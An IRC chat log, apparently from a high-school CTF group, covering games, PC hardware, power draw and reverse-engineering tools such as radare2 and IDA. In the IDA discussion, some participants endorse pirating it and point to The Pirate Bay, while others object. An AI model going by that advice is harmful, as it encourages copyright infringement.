[2015-03-22T23:15:01-0400] <bob_twinkles> it looks like a lot of fun
[2015-03-22T23:15:18-0400] <assface> it is
[2015-03-22T23:15:32-0400] <bob_twinkles> but 1) no money 2) no working windows install and 3) I doubt my laptop has the power to run it well
[2015-03-22T23:15:32-0400] <assface> getting traffic flowing reasonably in a city of over 50,000 is way too satisfying
[2015-03-22T23:15:43-0400] <assface> it works perfectly on linux
[2015-03-22T23:15:54-0400] <bob_twinkles> oh right, it's built on Unity
[2015-03-22T23:16:08-0400] <bob_twinkles> I *really* don't need more time sinks though
[2015-03-22T23:16:13-0400] <assface> hue
[2015-03-22T23:16:21-0400] <bob_twinkles> it's really tempting anyway...
[2015-03-22T23:16:38-0400] <assface> now that I think of it, I should play some now.....
[2015-03-22T23:16:41-0400] <jwoglom> cities skylines is great
[2015-03-22T23:16:43-0400] <bob_twinkles> lol
[2015-03-22T23:16:47-0400] <jwoglom> my computer is just complete shit :(
[2015-03-22T23:17:03-0400] <assface> my $450 shitputer can run it fine
[2015-03-22T23:17:09-0400] <assface> stop complaining
[2015-03-22T23:17:30-0400] <jwoglom> what gpu?
[2015-03-22T23:17:41-0400] <assface> uhh
[2015-03-22T23:17:55-0400] <bob_twinkles> a reasonably modern desktop can probably run it just fine
[2015-03-22T23:18:04-0400] <jwoglom> my current desktop is an optiplex 755 from 2009 with a 7770, crappy HDD that's dying, running windows server 2012
[2015-03-22T23:18:07-0400] <bob_twinkles> laptops tend to not have the thermal transfer to run well
[2015-03-22T23:18:08-0400] <assface> radeon 8570D
[2015-03-22T23:18:10-0400] <jwoglom> and i don't think anything cools properly
[2015-03-22T23:18:22-0400] <jwoglom> so lots of skipped frames and such
[2015-03-22T23:18:24-0400] <bob_twinkles> jwoglom: windows server?
[2015-03-22T23:18:26-0400] <bob_twinkles> wawt
[2015-03-22T23:18:30-0400] <assface> yeah I have an aftermarket cooler for my APU it makes everything run like 200% as fast
[2015-03-22T23:18:39-0400] <jwoglom> i used to have a dual boot of windows server and win7
[2015-03-22T23:18:45-0400] <jwoglom> then the win7 install got screwed up somehow
[2015-03-22T23:18:53-0400] <jwoglom> so i just installed it there
[2015-03-22T23:18:56-0400] <jwoglom> (shrug)
[2015-03-22T23:19:37-0400] <assface> odd
[2015-03-22T23:19:49-0400] <assface> when I'm focused on a different desktop when the game starts it crashes
[2015-03-22T23:20:13-0400] <bob_twinkles>  heh
[2015-03-22T23:21:40-0400] <sdamashek> apparently it supports full metro and railroad systems
[2015-03-22T23:21:43-0400] <sdamashek> fwilson: ^
[2015-03-22T23:21:54-0400] <sdamashek> and yeah I've heard things about C:S
[2015-03-22T23:21:55-0400] <assface> yes
[2015-03-22T23:22:02-0400] <fwilson> ooh
[2015-03-22T23:22:08-0400] <assface> no tunnels yet tho
[2015-03-22T23:22:10-0400] <sdamashek> oh and airports
[2015-03-22T23:22:17-0400] <fwilson> but expensive
[2015-03-22T23:22:22-0400] <sdamashek> yeah :(
[2015-03-22T23:22:33-0400] <bob_twinkles> the devs are apparently planning to make the game live forever though
[2015-03-22T23:22:46-0400] <sdamashek> bob_twinkles: "live forever" ?
[2015-03-22T23:22:50-0400] <bob_twinkles> like, they've said they have a like 2-3 year roadmap at least
[2015-03-22T23:23:23-0400] <LittleBobbyTables> I have a 970, 4670k, and a clc
[2015-03-22T23:23:39-0400] <bob_twinkles> that's a beast of a machine
[2015-03-22T23:23:39-0400] <sdamashek> fwilson: does your laptop have integrated graphics?
[2015-03-22T23:23:44-0400] <fwilson> yes
[2015-03-22T23:23:49-0400] <sdamashek> :>
[2015-03-22T23:23:55-0400] <sdamashek> it doesn't support integrated graphics lel
[2015-03-22T23:23:56-0400] <fwilson> gooo integrated
[2015-03-22T23:23:58-0400] <fwilson> kek
[2015-03-22T23:24:07-0400] <assface> *intel integrated
[2015-03-22T23:24:10-0400] <assface> AMD works fine
[2015-03-22T23:24:20-0400] <sdamashek> assface: ah
[2015-03-22T23:24:36-0400] <bob_twinkles> I wonder what they're missing
[2015-03-22T23:24:44-0400] <bob_twinkles> extension/version wise
[2015-03-22T23:24:47-0400] <LittleBobbyTables> bob_twinkles: I might buy another 970 and an ssd later.
[2015-03-22T23:24:58-0400] <bob_twinkles> that's just overkill
[2015-03-22T23:25:03-0400] <bob_twinkles> even though there is no such thing
[2015-03-22T23:25:14-0400] <LittleBobbyTables> I don't have an ssd now, and I'm going to be getting a 4k monitor
[2015-03-22T23:25:15-0400] <sdamashek> also I have a GTX 660, 4670k, a 128gig SSD, 5TB of storage, and 16gigs of ddr3
[2015-03-22T23:25:22-0400] <sdamashek> and two 1080p monitors :D
[2015-03-22T23:25:40-0400] <LittleBobbyTables> If you count my tv's, I have 5.
[2015-03-22T23:25:43-0400] <sdamashek> desktop masterrace
[2015-03-22T23:25:46-0400] <jwoglom> tl;dr it's what SC5 should have been
[2015-03-22T23:25:53-0400] <jwoglom> i loved simcity 4, played it for years
[2015-03-22T23:25:58-0400] <bob_twinkles> I want a desktop
[2015-03-22T23:26:02-0400] <jwoglom> sdamashek pls :P
[2015-03-22T23:26:02-0400] <LittleBobbyTables> Get a job
[2015-03-22T23:26:11-0400] <LittleBobbyTables> You can make a damn good one for 500 bucks
[2015-03-22T23:26:15-0400] <grantwu> I didn't say I hated systemd either
[2015-03-22T23:26:16-0400] <bob_twinkles> yeah, I know
[2015-03-22T23:26:27-0400] <sdamashek> this one, without the UPS, was like $850
[2015-03-22T23:26:41-0400] <sdamashek> but I already had one of the monitors
[2015-03-22T23:27:02-0400] <LittleBobbyTables> Mine was 600, excluding the monitor and keyboard.
[2015-03-22T23:27:06-0400] <bob_twinkles> the reason I don't get one is that it doesn't seem like a good idea when I'm going to be leaving for college
[2015-03-22T23:27:17-0400] <LittleBobbyTables> Get a micro
[2015-03-22T23:27:25-0400] <LittleBobbyTables> Small, bit cheaper, more portabl
[2015-03-22T23:27:26-0400] <LittleBobbyTables> e
[2015-03-22T23:27:26-0400] <bob_twinkles> have one, is currently my IRC bouncer =P
[2015-03-22T23:27:31-0400] <sdamashek> excluding the monitor probably more like $700 then
[2015-03-22T23:27:44-0400] <sdamashek> bob_twinkles: also why not?
[2015-03-22T23:27:45-0400] <LittleBobbyTables> Including my monitor, 800
[2015-03-22T23:27:45-0400] <bob_twinkles> I might nuke it and turn it in to a real machine soon-ish
[2015-03-22T23:27:49-0400] <LittleBobbyTables> With the keyboard, 900
[2015-03-22T23:27:51-0400] <sdamashek> csssuf took his desktop to RIT
[2015-03-22T23:27:59-0400] <bob_twinkles> yeah...
[2015-03-22T23:28:00-0400] <sdamashek> also I've taken my desktop to canada
[2015-03-22T23:28:03-0400] <sdamashek> that was great
[2015-03-22T23:28:07-0400] <grantwu> I have no time to play games in collge T.T
[2015-03-22T23:28:10-0400] <LittleBobbyTables> Did you play it on the way there
[2015-03-22T23:28:10-0400] <bob_twinkles> eh, I'll see how much money I can get over the summer
[2015-03-22T23:28:11-0400] <jwoglom> sdamashek: how'd it go on the plane ride? :P
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[2015-03-22T23:28:14-0400] <grantwu> I didn't even bother isntalling steam
[2015-03-22T23:28:14-0400] <sdamashek> (MITRECTF)
[2015-03-22T23:28:17-0400] <sdamashek> jwoglom: we drove :P
[2015-03-22T23:28:23-0400] <sdamashek> we usually drive to canada
[2015-03-22T23:28:27-0400] <jwoglom> sdamashek: ah, cool
[2015-03-22T23:28:33-0400] <sdamashek> 16 hours or so, it's fun
[2015-03-22T23:28:36-0400] <jwoglom> did you bring a UPS and charge it from the car? :P
[2015-03-22T23:28:43-0400] <sdamashek> no, I'm not that bad :P
[2015-03-22T23:28:48-0400] <LittleBobbyTables> I would do that.
[2015-03-22T23:29:00-0400] <jwoglom> i feel like the car would not like that
[2015-03-22T23:29:07-0400] <sdamashek> if I was taking a limo or something, I would consider it
[2015-03-22T23:29:34-0400] <LittleBobbyTables> jwoglom: it wouldn't be my car, so I'm fine with that.
[2015-03-22T23:30:04-0400] <sdamashek> right now, my desktop and one monitor are using almost exactly 120 volts
[2015-03-22T23:30:09-0400] <sdamashek> uh
[2015-03-22T23:30:10-0400] <sdamashek> watts*
[2015-03-22T23:30:11-0400] <LittleBobbyTables> I'm too lazy to check.
[2015-03-22T23:30:12-0400] <sdamashek> lol
[2015-03-22T23:30:33-0400] <grantwu> Geez that's a lot o.O
[2015-03-22T23:30:41-0400] <grantwu> Oh wait you might be playing something
[2015-03-22T23:30:59-0400] <sdamashek> no, this is just irc and chrome
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[2015-03-22T23:31:18-0400] <jwoglom> orrrrr, you could juse use a laptop :P
[2015-03-22T23:31:39-0400] <grantwu> Wait jeez why are you eating so much power then
[2015-03-22T23:31:47-0400] <grantwu> Egh, I guess you have a monnitor
[2015-03-22T23:32:22-0400] <sdamashek> without monitor it goes down to 97ish
[2015-03-22T23:32:38-0400] <sdamashek> that's just based on my UPS load
[2015-03-22T23:32:51-0400] <sdamashek> also, that's kinda normal isn't it?
[2015-03-22T23:33:23-0400] <sdamashek> for a desktop, at least
[2015-03-22T23:33:30-0400] <nezorg> sdamashek: i should hope they're using almost exactly 120 volts
[2015-03-22T23:33:42-0400] <sdamashek> nezorg: :P
[2015-03-22T23:33:54-0400] <sdamashek> nezorg: in fact, 123 volts
[2015-03-22T23:34:04-0400] <nezorg> close enough
[2015-03-22T23:34:08-0400] <sdamashek> well, that's the line voltage
[2015-03-22T23:34:16-0400] <jwoglom> meh, apcupsd isn't showing me how much power my server's taking up :(
[2015-03-22T23:34:25-0400] <sdamashek> jwoglom: apcaccess should show you the load percentage
[2015-03-22T23:34:30-0400] <sdamashek> you can figure it out from that
[2015-03-22T23:34:37-0400] <jwoglom> well that's 25%
[2015-03-22T23:34:46-0400] <jwoglom> for a back-ups 600G
[2015-03-22T23:34:53-0400] <sdamashek> so 150W :P
[2015-03-22T23:35:00-0400] <jwoglom> and that's for a server + router
[2015-03-22T23:35:08-0400] <sdamashek> router should be almost nothing though
[2015-03-22T23:35:17-0400] <jwoglom> yeah true
[2015-03-22T23:36:38-0400] <sdamashek> I'm only using a bronze certified power supply
[2015-03-22T23:36:43-0400] <sdamashek> (CX600M)
[2015-03-22T23:39:00-0400] <+awe> So, how are all my little birdies doing?
[2015-03-22T23:39:23-0400] <jwoglom> chirp chirp
[2015-03-22T23:43:25-0400] <grantwu> 120 W for a modern desktop is rather high, I think
[2015-03-22T23:43:32-0400] <grantwu> Unless you disabled throttling
[2015-03-22T23:47:10-0400] <Tamini> peep
[2015-03-22T23:47:25-0400] <sdamashek> grantwu: really? It seems to be kinda normal
[2015-03-22T23:47:34-0400] <sdamashek> at least from a quick google :P
[2015-03-22T23:48:36-0400] <grantwu> http://images.anandtech.com/graphs/graph7946/62748.png
[2015-03-22T23:48:46-0400] <grantwu> Although this is full idle
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[2015-03-22T23:49:48-0400] <sdamashek> grantwu: well it went down to 97 without the monitor
[2015-03-22T23:49:53-0400] <grantwu> Ah true
[2015-03-22T23:50:17-0400] <grantwu> I'm also not sure if this is measured at the wall or not and I'm too lazy to check
[2015-03-22T23:50:44-0400] <sdamashek> actually I had something taking up 100% cpu lol
[2015-03-22T23:50:51-0400] <grantwu> ...doh!
[2015-03-22T23:50:52-0400] <sdamashek> it went down to 68W without monitor after I killed that
[2015-03-22T23:51:00-0400] <grantwu> yay
[2015-03-22T23:51:32-0400] <sdamashek> still, don't know how much a car would like that :P
[2015-03-22T23:59:45-0400] <sdamashek> I wonder if C:S will go on sale any time soon
[2015-03-23T00:00:29-0400] <bob_twinkles> summer sale maybe?
[2015-03-23T00:00:37-0400] <bob_twinkles> everything's on sale for the summer sale
[2015-03-23T00:00:56-0400] <sdamashek> possibly, but that's still a while away lol
[2015-03-23T00:01:22-0400] <bob_twinkles> a few months at most?
[2015-03-23T00:13:24-0400] <hardmath123> radare2 is fun :3
[2015-03-23T00:13:48-0400] <bob_twinkles> hardmath123: what  sort of analysis are you trying to do with it?
[2015-03-23T00:13:58-0400] <bob_twinkles> it's always been super unstable and derpy for me
[2015-03-23T00:15:10-0400] <bob_twinkles> the codebase is also... special
[2015-03-23T00:16:05-0400] <hardmath123> just messing around
[2015-03-23T00:16:13-0400] <bob_twinkles> completely uncommented and from what I can tell very poorly architeched kinda special
[2015-03-23T00:16:19-0400] <bob_twinkles> 32 bit binaries?
[2015-03-23T00:16:30-0400] <hardmath123> i'm trying to teach myself reverse engineering because nobody on our ctf team knows how
[2015-03-23T00:16:37-0400] <bob_twinkles> lol
[2015-03-23T00:16:59-0400] <bob_twinkles> TBH I've found just reading objdump -Ss -M intel $file more useful than radare
[2015-03-23T00:17:06-0400] <bob_twinkles> just because of how derpy/unstable it's been
[2015-03-23T00:17:13-0400] <hardmath123> so far it hasn't, um, derped
[2015-03-23T00:17:14-0400] <bob_twinkles> dunno, maybe the release versions are better
[2015-03-23T00:17:42-0400] <bob_twinkles> but the release versions fail to even do really basic recursive function exploration
[2015-03-23T00:17:47-0400] <bob_twinkles> *git version
[2015-03-23T00:17:53-0400] <bob_twinkles> at least, as of a few weeks ago
[2015-03-23T00:18:18-0400] <sdamashek> bob_twinkles: what about IDA starter
[2015-03-23T00:18:33-0400] <bob_twinkles> IDA start is super great as long as you only need to do 32 bit analysis
[2015-03-23T00:18:38-0400] <sdamashek> well yeah
[2015-03-23T00:18:42-0400] <bob_twinkles> beyond that... you're fucked =PO
[2015-03-23T00:19:11-0400] <bob_twinkles> even the starter version can do some pretty sweet semantic analysis stuff
[2015-03-23T00:19:19-0400] <bob_twinkles> detecting jump tables and that sorta stuff
[2015-03-23T00:19:37-0400] <sdamashek> I'm probably gonna save up sometime to buy IDA pro with x86/x64 decompilers
[2015-03-23T00:19:41-0400] <sdamashek> but it's like 5k
[2015-03-23T00:19:57-0400] <bob_twinkles> yeah
[2015-03-23T00:20:00-0400] <jwoglom> isn't there some student discount though
[2015-03-23T00:20:01-0400] <grantwu> alokpathy stole it
[2015-03-23T00:20:03-0400] <sdamashek> only for starter
[2015-03-23T00:20:09-0400] <sdamashek> which can only do 32 bit
[2015-03-23T00:20:12-0400] <jwoglom> that's lame
[2015-03-23T00:20:23-0400] <grantwu> do what alokpathy did xD
[2015-03-23T00:20:23-0400] <jwoglom> sounds like highway robbery
[2015-03-23T00:20:34-0400] <sdamashek> apparently it's a pretty good deal for the market
[2015-03-23T00:20:37-0400] <grantwu> shh
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[2015-03-23T00:20:53-0400] <bob_twinkles> is starter any different from the free version?
[2015-03-23T00:20:55-0400] <sdamashek> grantwu: I don't want to pirate it though
[2015-03-23T00:21:00-0400] <bob_twinkles> other than the time limit that apparently doesn't actually work
[2015-03-23T00:21:06-0400] <bob_twinkles> and not being able to save
[2015-03-23T00:21:08-0400] <sdamashek> bob_twinkles: you can save
[2015-03-23T00:21:14-0400] <alokpathy> sdamashek: Why not?
[2015-03-23T00:21:17-0400] <sdamashek> and you can also get the decompiler (32 bit)
[2015-03-23T00:21:27-0400] <bob_twinkles> sdamashek: I'm not really feeling 5k to be able to save =P
[2015-03-23T00:21:30-0400] <sdamashek> alokpathy: because it's illegal and I don't think it's right
[2015-03-23T00:21:38-0400] <sdamashek> bob_twinkles: well it's a lot less than 5k if you only want those two
[2015-03-23T00:21:52-0400] <LittleBobbyTables> sdamashek: they're 100% fine with you pirating it.
[2015-03-23T00:22:06-0400] <bob_twinkles> yeah, I thought you could get 64 bit hexrays for like $1.5k
[2015-03-23T00:22:06-0400] <LittleBobbyTables> If it's for personal use, and you don't post any of your decompilations online
[2015-03-23T00:22:28-0400] <sdamashek> LittleBobbyTables: are you sure?
[2015-03-23T00:22:43-0400] <sdamashek> bob_twinkles: just IDA, it's $1129
[2015-03-23T00:23:04-0400] <bob_twinkles> what does hexrays do beyond standard IDA then?
[2015-03-23T00:23:06-0400] <grantwu> LittleBobbyTables: No, lol, they're 100% not fine with you pirating it
[2015-03-23T00:23:10-0400] <Tamini> but we need hexrays too
[2015-03-23T00:23:14-0400] <sdamashek> hexrays is the decompiler
[2015-03-23T00:23:31-0400] <bob_twinkles> sdamashek: decompile to C?
[2015-03-23T00:23:35-0400] <sdamashek> bob_twinkles: mhm
[2015-03-23T00:23:42-0400] <bob_twinkles> that seems like it would blow up in a lot of the interesting/pathological cases
[2015-03-23T00:23:54-0400] <sdamashek> it's supposedly the best decompiler though
[2015-03-23T00:24:04-0400] <alokpathy> Decompilers aren't perfect, of course, but it's the best we've got.
[2015-03-23T00:24:09-0400] <bob_twinkles> yeah, but "best" doesn't mean "good"
[2015-03-23T00:24:16-0400] <sdamashek> also IDA starter with the 32 bit decompiler is around $1350 with the student discount
[2015-03-23T00:24:21-0400] <sdamashek> bob_twinkles: it's definitely good
[2015-03-23T00:24:23-0400] <alokpathy> It's good enough.
[2015-03-23T00:24:23-0400] <LittleBobbyTables> hexrays they aren't fine with
[2015-03-23T00:24:26-0400] <LittleBobbyTables> ida itself they are
[2015-03-23T00:24:32-0400] <sdamashek> LittleBobbyTables: uh, source?
[2015-03-23T00:25:41-0400] <alokpathy> Why is IDA so expensive, anyways?
[2015-03-23T00:25:57-0400] <LittleBobbyTables> It's the best at what it does.
[2015-03-23T00:26:00-0400] <alokpathy> Is it just demand?
[2015-03-23T00:26:02-0400] <sdamashek> because the target market are security companies who can easily afford it
[2015-03-23T00:26:15-0400] <alokpathy> .-.
[2015-03-23T00:26:26-0400] <sdamashek> because it's one of the few expenses security researchers actually have to pay
[2015-03-23T00:26:39-0400] <sdamashek> other than infrastructure
[2015-03-23T00:26:50-0400] <grantwu> What infrastructure do they need?
[2015-03-23T00:26:51-0400] <sdamashek> at least, that's what I've heard
[2015-03-23T00:27:09-0400] <sdamashek> grantwu: some servers and a basic network for malware analysis, maybe
[2015-03-23T00:27:13-0400] <LittleBobbyTables> Something good enough to run ida
[2015-03-23T00:27:14-0400] <LittleBobbyTables> obviously
[2015-03-23T00:27:22-0400] <grantwu> That's hardly a data center
[2015-03-23T00:27:27-0400] <sdamashek> no, I didn't say it was
[2015-03-23T00:27:52-0400] <nezorg> wait, ida has a student discount?
[2015-03-23T00:28:03-0400] <sdamashek> nezorg: it's apparently 50% for the starter version
[2015-03-23T00:28:11-0400] <alokpathy> nezorg: Still mad expensive.
[2015-03-23T00:28:13-0400] <nezorg> huh
[2015-03-23T00:28:16-0400] <nezorg> no amd64 :/
[2015-03-23T00:28:31-0400] <LittleBobbyTables> pro version is the only one with 64
[2015-03-23T00:28:38-0400] <bob_twinkles> yeah starter seems kinda useless
[2015-03-23T00:28:42-0400] <bob_twinkles> well, not useless
[2015-03-23T00:28:45-0400] <sdamashek> grantwu: you still have to get some basic cooling and the servers are still an initial investment though
[2015-03-23T00:28:50-0400] <bob_twinkles> just nowhere near as useful as 64bit
[2015-03-23T00:29:01-0400] <sdamashek> and you want to get good servers which are good at virtualization
[2015-03-23T00:29:02-0400] <nezorg> yeah, most ctf binaries are 64bit nowadays
[2015-03-23T00:29:15-0400] <sdamashek> but yeah, I wouldn't think it would be much at all
[2015-03-23T00:29:58-0400] <LittleBobbyTables> sdamashek: I guess it was a speculation that I saw. I remembered Ilfak's name mentioned in a thread about pirating it, and how "pirate for personal use, learn it, get good, get a sale" etc.
[2015-03-23T00:30:30-0400] <sdamashek> LittleBobbyTables: I think I saw that in a reddit thread
[2015-03-23T00:30:34-0400] <sdamashek> but it was just some random guy iirc
[2015-03-23T00:30:55-0400] <LittleBobbyTables> Yeah
[2015-03-23T00:31:10-0400] <sdamashek> and it's still a criminal offense if it's for commercial use or private financial gain
[2015-03-23T00:31:12-0400] <LittleBobbyTables> I remembered the name mentioned and him emailing or something
[2015-03-23T00:31:22-0400] <LittleBobbyTables> Then just don't make money from it?
[2015-03-23T00:31:39-0400] <LittleBobbyTables> They don't prosecute people even if they get caught with it
[2015-03-23T00:31:44-0400] <sdamashek> ehh
[2015-03-23T00:32:23-0400] <sdamashek> I guess I can see that model, yeah
[2015-03-23T00:32:35-0400] <LittleBobbyTables> There's a database out there of people who are using pirated keys
[2015-03-23T00:32:57-0400] <LittleBobbyTables> The only person I remember getting in trouble for it was that dude that decompiled Skype
[2015-03-23T00:33:18-0400] <sdamashek> and that idiot who put it in on his public website
[2015-03-23T00:35:34-0400] <alokpathy> sdamashek: Does TJ syslab have funds? You might be able to do some group thing so any TJ CTF team could use IDA at some cost.
[2015-03-23T00:35:37-0400] <alokpathy> sdamashek: I think that's what PPP does.
[2015-03-23T00:35:53-0400] <sdamashek> alokpathy: yeah, we're talking about it
[2015-03-23T00:36:10-0400] <LittleBobbyTables> Email Igor and ask about it.
[2015-03-23T00:36:16-0400] <sdamashek> PPP has one computer license that is very sketchily used
[2015-03-23T00:36:21-0400] <Tamini> sdamashek: i think we might need to be 
[2015-03-23T00:36:27-0400] <Tamini> slightly more proactive about this talking about this though
[2015-03-23T00:36:32-0400] <sdamashek> they have a VM and everybody runs their own copies of it
[2015-03-23T00:36:39-0400] <sdamashek> Tamini: hmm?
[2015-03-23T00:36:43-0400] <Tamini> zach first brought this up like 2-3 month ago
[2015-03-23T00:36:48-0400] <Tamini> and nothing has really come of it
[2015-03-23T00:36:57-0400] <Tamini> we do need to push for it, I think.
[2015-03-23T00:36:58-0400] <sdamashek> andrew has gotten quotes for a floating pro license
[2015-03-23T00:37:04-0400] <sdamashek> it's expensive.
[2015-03-23T00:37:06-0400] <Tamini> oh, really?
[2015-03-23T00:37:19-0400] <Tamini> zach wanted to email about a discount or something :/
[2015-03-23T00:37:21-0400] <sdamashek> and you can still legally only use one instance at a time
[2015-03-23T00:37:27-0400] <sdamashek> yeah, I suggested to andrew to do that
[2015-03-23T00:37:29-0400] <Tamini> oh, meh
[2015-03-23T00:37:51-0400] <grantwu> PPP has a VM and everybody runs their own copies of it?
[2015-03-23T00:37:59-0400] <sdamashek> yup
[2015-03-23T00:38:08-0400] <LittleBobbyTables> It's still technically one computer
[2015-03-23T00:38:10-0400] <grantwu> The one time I went to a meeting
[2015-03-23T00:38:15-0400] <ubuntor> huh
[2015-03-23T00:38:15-0400] <grantwu> They just distributed cracked copies
[2015-03-23T00:38:22-0400] <grantwu> ...I said nothing
[2015-03-23T00:38:24-0400] <alokpathy> Lol
[2015-03-23T00:38:25-0400] <ubuntor> wat
[2015-03-23T00:38:26-0400] <sdamashek> lol, they said they used to use a cracked version
[2015-03-23T00:38:38-0400] <grantwu> Hrm, idk when this was then
[2015-03-23T00:39:01-0400] <Tamini> well
[2015-03-23T00:39:08-0400] <Tamini> ppp did know where to find cracked copies very easily
[2015-03-23T00:39:08-0400] <Tamini> :P
[2015-03-23T00:39:21-0400] <grantwu> Uh, alokpathy found a copy, it's not hard.
[2015-03-23T00:39:25-0400] <LittleBobbyTables> I think anything I have in Steam is pretty much the only paid stuff I actually paid for.
[2015-03-23T00:39:32-0400] <LittleBobbyTables> Tamini: thepiratebay.se
[2015-03-23T00:39:34-0400] <alokpathy> Tamini: It's literally on Pirate Bay, lol.
[2015-03-23T00:39:44-0400] <alokpathy> Darn, LittleBobbyTables beat me to it.
[2015-03-23T00:39:45-0400] <LittleBobbyTables> ^Can confirm, am using it
[2015-03-23T00:40:31-0400] • alokpathy: heads of to bed.
[2015-03-23T00:40:41-0400] <alokpathy> sdamashek: G'luck with getting IDA.
[2015-03-23T00:40:51-0400] <sdamashek> heh, thanks
[2015-03-23T00:40:54-0400] <grantwu> alokpathy: :O sleep, what is that
[2015-03-23T00:41:02-0400] <Tamini> oh, right
[2015-03-23T00:41:03-0400] <Tamini> lol
[2015-03-23T00:41:03-0400] <alokpathy> grantwu: Something I seriously need more of .-.
[2015-03-23T00:41:11-0400] <Tamini> well, I'm pretty sure they did talk about getting it
[2015-03-23T00:41:14-0400] <grantwu> alokpathy: True, true
[2015-03-23T00:41:15-0400] <Tamini> alokpathy: gnight aloko :O
[2015-03-23T00:41:19-0400] <Tamini> i havent done anything all day rip
[2015-03-23T00:41:22-0400] <grantwu> alokpathy: Good night alokpathy 
[2015-03-23T00:41:36-0400] <ubuntor> night alokpathy
[2015-03-23T00:42:21-0400] <hardmath123> wow r2's web interface looked amazing until i clicked "debugger" and it said "TODO" :(
[2015-03-23T00:43:16-0400] <ubuntor> yeah :/
[2015-03-23T00:43:31-0400] <LittleBobbyTables> rekt
[2015-03-23T00:43:58-0400] <Tamini> lol
[2015-03-23T00:45:07-0400] <grantwu> On MS Windows when the desktop colordepth is set to 16-bit, Inkscape is unusable because of exploding memory usage. Please set the colordepth to 32-bit.
[2015-03-23T00:45:11-0400] <grantwu> thefuck
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[2015-03-23T01:20:14-0400] <grantwu> I'm convinced weechat is broken
[2015-03-23T01:20:23-0400] <Tamini> hmm?
[2015-03-23T01:20:46-0400] <grantwu> Whenever I quit, the process freezes
[2015-03-23T01:20:49-0400] <grantwu> Maybe it doesn't like tmux
[2015-03-23T01:21:04-0400] <Tamini> maybe, but i dont think hardmath123 ever mentioned having issues with that.
[2015-03-23T01:21:22-0400] <grantwu> Well, how long do you let weechat run?
[2015-03-23T01:22:29-0400] <Tamini> uhh i dont think hes awake :P
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[2015-03-23T01:33:28-0400] <grantwu> I'm back, weechat is working, idk what happened
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[2015-03-23T06:30:24-0400] <JacobEdelman> Gmorning
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[2015-03-23T10:03:09-0400] <hardmath123> grantwu: Weechat has been running continuously in a tmux session problem-free for the past 4-5 months. The only interruption was when the logfiles blew my disk quota and i had to cleanup.
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[2015-03-23T10:47:28-0400] <JacobEdelman> You know, HSCTF 2 is going to be amazing
[2015-03-23T10:47:34-0400] <JacobEdelman> so amazingly amazing
[2015-03-23T10:47:50-0400] <JacobEdelman> I'm working on some very cool features, and we already have lots of great problems
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[2015-03-23T13:33:17-0400] <JacobEdelman> awe
[2015-03-23T13:33:19-0400] <JacobEdelman> Hyper
[2015-03-23T13:33:21-0400] <+awe> Yes?
[2015-03-23T13:33:22-0400] <JacobEdelman> everybody else
[2015-03-23T13:33:27-0400] <JacobEdelman> I was searching through an old flashdrive
[2015-03-23T13:33:38-0400] <JacobEdelman> and I removed a folder called keep to free up some space
[2015-03-23T13:33:48-0400] <JacobEdelman> after backing up keep on my computer
[2015-03-23T13:33:51-0400] <JacobEdelman> I looked through it
[2015-03-23T13:33:58-0400] <JacobEdelman> and discovered it was stuff from the dawn of time
[2015-03-23T13:34:06-0400] <JacobEdelman> (aka, 6th grade for me, so 5 years ago)
[2015-03-23T13:34:08-0400] <JacobEdelman> and included
[2015-03-23T13:34:09-0400] <+awe> inb4 ten year old JacobEdelman's porn stash
[2015-03-23T13:34:16-0400] <JacobEdelman> awe: worse
[2015-03-23T13:34:18-0400] <JacobEdelman> my old code
[2015-03-23T13:34:30-0400] <JacobEdelman> I reveal, talker.py
[2015-03-23T13:34:39-0400] <+awe> lol
[2015-03-23T13:34:42-0400] <JacobEdelman> https://www.irccloud.com/pastebin/nSemfdnE/talker.py
[2015-03-23T13:34:57-0400] <JacobEdelman> look at my amazing use of 2 letter variable names
[2015-03-23T13:35:02-0400] <+awe> Doesn't look all that different from something you'd write today.
[2015-03-23T13:35:09-0400] <JacobEdelman> such as jj,zz,r,d,lug,c
[2015-03-23T13:35:23-0400] <JacobEdelman> ... I use legit variable names these days
[2015-03-23T13:35:30-0400] <JacobEdelman> alsp, I use functional stuff
[2015-03-23T13:35:36-0400] <+awe> It was a joke.
[2015-03-23T13:35:37-0400] <JacobEdelman> I mean, I have no idea what is going on there
[2015-03-23T13:35:38-0400] <JacobEdelman> :P
[2015-03-23T13:35:39-0400] <JacobEdelman> oh
[2015-03-23T13:35:53-0400] <JacobEdelman> such variables as mum,mm,clad, and stex
[2015-03-23T13:36:03-0400] <JacobEdelman> kr, rez, raln, lll
[2015-03-23T13:36:16-0400] <JacobEdelman> and I promise you, variable names have no relation to what they are used for
[2015-03-23T13:36:16-0400] <+awe> They don't even try to be descript.
[2015-03-23T13:36:21-0400] <+awe> Yeah.
[2015-03-23T13:36:26-0400] <+awe> mum has nothing to do with mom.
[2015-03-23T13:36:36-0400] <JacobEdelman> yup
[2015-03-23T13:37:37-0400] <JacobEdelman> oh wait
[2015-03-23T13:37:37-0400] <JacobEdelman> good
[2015-03-23T13:38:12-0400] <JacobEdelman> here it is
[2015-03-23T13:38:31-0400] <JacobEdelman> https://www.irccloud.com/pastebin/9PBUilaX/talker.py
[2015-03-23T13:42:00-0400] <JacobEdelman> awe: is it as beautiful as I said it was?
[2015-03-23T13:42:12-0400] <apothy> Even better <3
[2015-03-23T13:43:29-0400] <JacobEdelman> I just found a programing language that I wrote several years ago
[2015-03-23T13:43:35-0400] <JacobEdelman> it lets you set varibles
[2015-03-23T13:43:36-0400] <JacobEdelman> :P
[2015-03-23T13:43:41-0400] <+awe> Oh, great.
[2015-03-23T13:43:43-0400] <JacobEdelman> (yes, they are called varibles)
[2015-03-23T13:43:46-0400] <JacobEdelman> (cause spelling)
[2015-03-23T13:45:37-0400] <JacobEdelman> it only has an interactive repl mode
[2015-03-23T13:45:47-0400] <JacobEdelman> and makes your preface every command with "now"
[2015-03-23T13:48:26-0400] <+awe> now x = 5
[2015-03-23T13:48:28-0400] <+awe> lol
[2015-03-23T13:54:08-0400] <The_Master> alokpathy: recursion? is https://oeis.org/A000301
[2015-03-23T13:54:35-0400] <JacobEdelman> I found some code from 5 years ago of Ben's
[2015-03-23T13:54:41-0400] <JacobEdelman> it may have been slightly modified by me
[2015-03-23T13:55:11-0400] <JacobEdelman> for best effect, don't read it
[2015-03-23T13:55:18-0400] <JacobEdelman> just run it
[2015-03-23T13:55:23-0400] <JacobEdelman> https://www.irccloud.com/pastebin/DJFDVQjt/menu.py
[2015-03-23T13:55:27-0400] <JacobEdelman> Hyper: ^
[2015-03-23T13:55:30-0400] <JacobEdelman> you'll aprreciate it
[2015-03-23T13:55:49-0400] <JacobEdelman> just avoid looking at the code before running it
